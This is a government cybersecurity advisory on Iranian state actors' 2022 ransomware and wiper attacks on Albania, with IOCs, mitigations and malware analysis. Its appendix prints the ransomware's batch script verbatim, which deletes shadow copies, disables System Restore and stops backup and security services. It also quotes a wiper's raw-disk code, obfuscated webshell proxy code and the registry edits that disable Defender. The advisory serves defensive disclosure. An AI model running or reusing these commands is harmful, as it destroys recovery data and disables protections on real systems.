Iranian State Actors Conduct Cyber Operations Against the Government of Albania | CISA

Published: 2022-09-23 · Archived: 2026-04-05 21:37:40 UTC

Summary

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B.

In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content.

Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware.

In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown.

In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran.

Download the PDF version of this report: pdf, 1221 kb

Download the STIX file: pdf, 44 KB

Technical Details

Initial access

Timeframe: Approximately 14 months before encryption and wiper attacks.

Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604.

Persistence and Lateral movement

Timeframe: Approximately several days to two months after initial compromise.

Details: After obtaining access to the victim environment, the actors used several .aspx webshells, `pickers.aspx`, `error4.aspx`, and `ClientBin.aspx`, to maintain persistence. During this timeframe, the actors also used RDP (primarily),

SMB, and FTP for lateral movement throughout the victim environment.

Exchange Server compromise

Timeframe: Approximately 1-6 months after initial compromise.

Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group.

Likely Email exfiltration

Timeframe: Approximately 8 months after initial compromise.

Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data.

VPN activity

Timeframe: Approximately 12-14 months after initial compromise.

Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization's Virtual Private Network (VPN) appliance. The actors' activity primarily involved two compromised accounts. The actors executed the "Advanced Port Scanner" (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping.

File Cryptor (ransomware-style file encryptor)

Timeframe: Approximately 14 months after initial compromise.

Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted.

Wiper attack

Timeframe: Approximately 14 months after initial compromise.

Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim's network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server.

Mitigations

FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:

- **Ensure anti-virus and anti-malware software is enabled and signature definitions are updated** regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing.
- **Adopt threat reputation services at the network device, operating system, application, and email service levels**. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks.

- If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), **ensure those vulnerabilities are patched**. Prioritize patching known exploited vulnerabilities.
- **Monitor for unusually large amounts of data** (i.e. several GB) being transferred from a Microsoft Exchange server.
- **Check the host-based indications**, including webshells, for positive hits within your environment.
- **Maintain and test** an incident response plan.
- **Ensure your organization has a vulnerability management program** in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. **Note**: CISA's Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations.
- **Properly configure and secure** internet-facing network devices.
    - Do not expose management interfaces to the internet.
    - Disable unused or unnecessary network ports and protocols.
    - Disable/remove unused network services and devices.
- **Adopt zero-trust principles and architecture**, including:
    - Micro-segmenting networks and functions to limit or block lateral movements.
    - Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections.
    - Restricting access to trusted devices and users on the networks.

For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories.

Appendix A

Host-based IOCs

Additional details concerning some of these files are provided in Appendix B.

File	MD5 Hash	Notes
Error4.aspx	81e123351eb80e605ad73268a5653ff3	Webshell
cl.exe	7b71764236f244ae971742ee1bc6b098	Wiper
GoXML.exe	bbe983dba3bf319621b447618548b740	Encryptor
Goxml.jpg	0738242a521bdfe1f3ecc173f1726aa1	
ClientBin.aspx	a9fa6cfdba41c57d8094545e9b56db36	Webshell (reverse-proxy connections)
Pickers.aspx	8f766dea3afd410ebcd5df5994a3c571	Webshell
evaluatesiteupgrade.cs.aspx	Unknown	Webshell
mellona.exe	78562ba0069d4235f28efd01e3f32a82	Propagation for Encryptor
win.bat	1635e1acd72809479e21b0ac5497a79b	Launches GoXml.exe on startup
win.bat	18e01dee14167c1cf8a58b6a648ee049	Changes desktop background to encryption image
bb.bat	59a85e8ec23ef5b5c215cd5c8e5bc2ab	Saves SAM and SYSTEM hives to C:\Temp, makes cab archive
disable_defender.exe	60afb1e62ac61424a542b8c7b4d2cf01	Disables Windows Defender
rwdsk.sys	8f6e7653807ebb57ecc549cef991d505	Raw disk driver utilized by wiper malware
App_Web_bckwssht.dll	e9b6ecbf0783fa9d6981bba76d949c94	

Network-based IOCs

FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data):

Country	Company
AL	KEMINET LTD.
DE	NOOP-84-247-59-0-25
DE	GSL NETWORKS
GB	LON-CLIENTS
GB	GB-DATACENTER
NL	NL-LAYERSWITCH-20190220
NL	PANQ-45-86-200-0
US	PRIVATE CUSTOMER
US	BANDITO NETWORKS
US	EXTERNAL
US	RU-SELENA-20080725
US	TRANS OCEAN NETWORK

Appendix B

Ransomware Cryptor

`GoXML.exe` is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC).

If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, `Xml Form Builder.`

All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string `yes`. If so, it will continue to decode its internal strings.

The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error.

@for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do (@wmic /namespace:\\root\default Path SystemRestore Call disable "%C\" & @rd /s /q %C\$Recycle.bin)

@vssadmin.exe delete shadows /all /quiet

@set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc

@for %C in (%SrvLst%) do @net stop %C

@set SrvLst=

@set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad

@for %C in (%PrcLst%) do @taskkill /f /im "%C.exe"

@set PrcLst=

@exit

The syntax error consists of a missing backslash that separates `system32` and `cmd.exe`, so the process is launched as `system32cmd.exe` which is an invalid command.

Script Launch Bug

The ransomware's file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note.

The cryptor places a file called `How_To_Unlock_MyFiles.txt` in directories with encrypted files.

Each encrypted file is given the `.lck` extension and the contents of each file are only encrypted up to `0x100000` or 1,048,576 bytes which is a hard coded limit.

Separately, the actor ran a batch script (win.bat below) to set a specific desktop background.

File Details

GoXml.exe	
File Size:	43.48 KB (44520 bytes)
SHA256:	f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5
SHA1:	5d117d8ef075f3f8ed1d4edcc0771a2a0886a376
MD5:	bbe983dba3bf319621b447618548b740
SSDeep:	768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX :RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1)
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
PE Header Timestamp:	2016-04-30 17:08:19
ImpHash:	5b2ce9270beea5915ec9adbcd0dbb070
Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC Cert #0 Issuer C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA	

Cert #0 SHA1 55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f

win.bat (#1, run malware)	
File Size:	67 bytes
SHA256:	bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6
SHA1:	14b8c155e01f25e749a9726958606b242c8624b9
MD5:	1635e1acd72809479e21b0ac5497a79b
SSDeep:	3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1)
File Type:	ASCII text, with no line terminators
Contents:	start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7

win.bat (#2, install desktop image)	
Filename:	ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2
File Size:	765 bytes
SHA256:	ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2
SHA1:	fce0db6e66d227d3b82d4564446ede0c0fd7598c
MD5:	18e01dee14167c1cf8a58b6a648ee049
SSDeep:	12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV +Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1)
File Type:	DOS batch file text, ASCII text, with CRLF line terminators

Contents:

```
@echo off

setlocal enabledelayedexpansion

set "Wtime=!time:~0,2!"

if "!Wtime!" leq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done

if "!Wtime!" geq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done

:done

timeout /t 5 >nul

start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
```

start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True endlocal

goxml.jpg	
File Size:	1.2 MB (1259040 bytes)
SHA256:	63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9
SHA1:	683eaec2b3bb5436f00b2172e287dc95e2ff2266
MD5:	0738242a521bdfe1f3ecc173f1726aa1
SSDeep:	12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1)
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484x1752, components 4
Software:	Adobe Photoshop 22.4 (Windows)
Modify Date:	2022-07-13 20:45:20
Create Date:	2020-06-11 02:13:33
Metadata Date:	2022-07-13 20:45:20
Profile Date Time:	2000-07-26 05:41:53
Image Size:	2484x1752
File Size:	1.2 MB (1259040 bytes)
SHA256:	63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9

Disk Wiper

The files `cl.exe` and `rwdsk.sys` are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments:

- `in`
- `un`
- `wp <optional argument>`

If executed with the `in` command, the utility will output `in start!` and installs a hard coded file named rwdsk.sys as a service named `RawDisk3`. The `.SYS` file is not extracted from the installer however, but rather the installer looks for the file in the same directory that the `cl.exe` is executed in.

It will also load the driver after installation.

The `un` command uninstalls the service, outputting the message `“un start!”` to the terminal.
The `wp` command will access the loaded driver for raw disk access.

Raw Disk Access

The long hexadecimal string is hard coded in the `cl.exe` binary.

```
RawDisk3File = (void *)toOpenRawDisk3File(
                    arg2_WideCharStr,
                    0xC0000000,
                    L"B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D");
ptrRawDiskFile = RawDisk3File;
if ( RawDisk3File )
{
 sizeDisk = toGetDiskSize(RawDisk3File);
 terminal_out("Total Bytez : %lld\n", sizeDisk << 9);
```

The `wp` command also takes an additional argument as a device path to place after `\RawDisk3\` in the output string. It is uncertain what creates this path to a device as the driver tested did not.

The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes.

If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility.

rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features."https://attack.mitre.org/software/S0364/

File Details

cl.exe	
File Size	142.5 KB (145920 bytes)
SHA256	e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0
SHA1	f22a7ec80fbfdc4d8ed796119c76bfac01e0a908
MD5	7b71764236f244ae971742ee1bc6b098
SSDeep	3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1)

Filetype	PE32+ executable (console) x86-64, for MS Windows
PE Header Timestamp	2022-07-15 13:26:28
ImpHash	58d51c1152817ca3dec77f2eee52cbef

rwdsk.sys	
File Size	38.84 KB (39776 bytes)
SHA256	3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6
SHA1	5e061701b14faf9adec9dd0b2423ff3cfc18764b
MD5	8f6e7653807ebb57ecc549cef991d505
SSDeep	768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1)
Filetype	PE32+ executable (native) x86-64, for MS Windows
PEtype	Driver
PE Header Timestamp	2016-03-18 14:44:54
ImpHash	e233f2cdc91faafe1467d9e52f166213
Cert #0 Subject	CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US
Cert #0 Issuer	CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US
Cert #0 SHA1	382c18388fb326221dfd7a77ee874f9ba60e04bf
Cert #1 Subject	C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation
Cert #1 Issuer	C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
Cert #1 SHA1	30632ea310114105969d0bda28fdce267104754f
Cert #2 Subject	C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5
Cert #2 Issuer	C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root
Cert #2 SHA1	57534ccc33914c41f70e2cbb2103a1db18817d8b
Cert #3 Subject	C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
Cert #3 Issuer	C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5

Cert #3 SHA1	495847a93187cfb8c71f840cb7b41497ad95c64f

Additional Files

Web Deployed Reverse Proxy

Description

ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation.

```
public static string hair_school_bracket()
      {
         return
Umbrella_admit_arctic.rebel_sadreporthospital("460F2830272A2F2266052928202F21661627252D27212368");  //Invalid
Config Package.
      }

public static string Visual_math_already()
      {
     return Umbrella_admit_arctic.rebel_sadreporthospital("5304057E0116001607");   //WV-RESET
```

The method rebel_sadreporthospital takes the first byte of the encoded string and XOR's each subsequent byte to produce the de-obfuscated string.

When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.

Initial connection

The hex string represents the following ASCII text:

Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy.

Second Socket Opened from POST Request

Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket.

Terminate socket

The DLL extracts a secondary "EncryptionDLL" named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing "EncryptionDLL" binaries.

Misspelled Class Name

Called Misspelled Name

File Details

ClientBin.aspx	
File Size	55.24 KB (56561 bytes)
SHA256	7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5
SHA1	e03edd9114e7a0138d1309034cad6b461ab0035b
MD5	a9fa6cfdba41c57d8094545e9b56db36
SSDeep	768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1)
Filetype	HTML document text, ASCII text, with very long lines (56458)

App_Web_bckwssht.dll	
File Size	41.0 KB (41984 bytes)
SHA256	cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5
SHA1	49fd8de33aa0ea0c7432d62f1ddca832fab25325
MD5	e9b6ecbf0783fa9d6981bba76d949c94
SSDeep	384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6f (Ver 1.1)
Filetype	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
PEtype	DLL
PE Header Timestamp	2021-06-07 10:37:55
ImpHash	dae02f32a21e03ce65412f6e56942daa

Disable Defender

Description

disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender's core functions. A command prompt with *status* and *error* messages is displayed as the application executes. No network activity was detected during the evaluation.

Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions.

Test validate permissions

The application will attempt to terminate the Windows Defender process by calling *TerminateProcess* for smartscreen.exe:

Attempt to kill Windows Defender

The following Registry Keys were modified to disable Windows Defender:

Set Registry Values (observed Win10 1709)	

HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection	0
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware	1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ StartupApproved\Run\SecurityHealth	03 00 00 00 5D 02 00 00 41 3B 47 9D
HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware	1
HKLM\System\CurrentControlSet\Services\WinDefend\Start	3
HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring	1

Upon completion and if successful the application will display the following messages and wait for user input.

User Input

disable-defender.exe	
File Size	292.0 KB (299008 bytes)
SHA256	45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace
SHA1	e866cc6b1507f21f688ecc2ef15a64e413743da7
MD5	60afb1e62ac61424a542b8c7b4d2cf01
SSDeep	6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1)
Filetype	PE32+ executable (console) x86-64, for MS Windows
PEtype	EXE
PE Header Timestamp	2021-10-24 15:07:32
ImpHash	74a6ef9e7b49c71341e439022f643c8e

Revisions

September 21, 2022: Initial Version|September 22, 2022: Reordered items in the Mitigation Section|September 23, 2022: Add the STIX file

---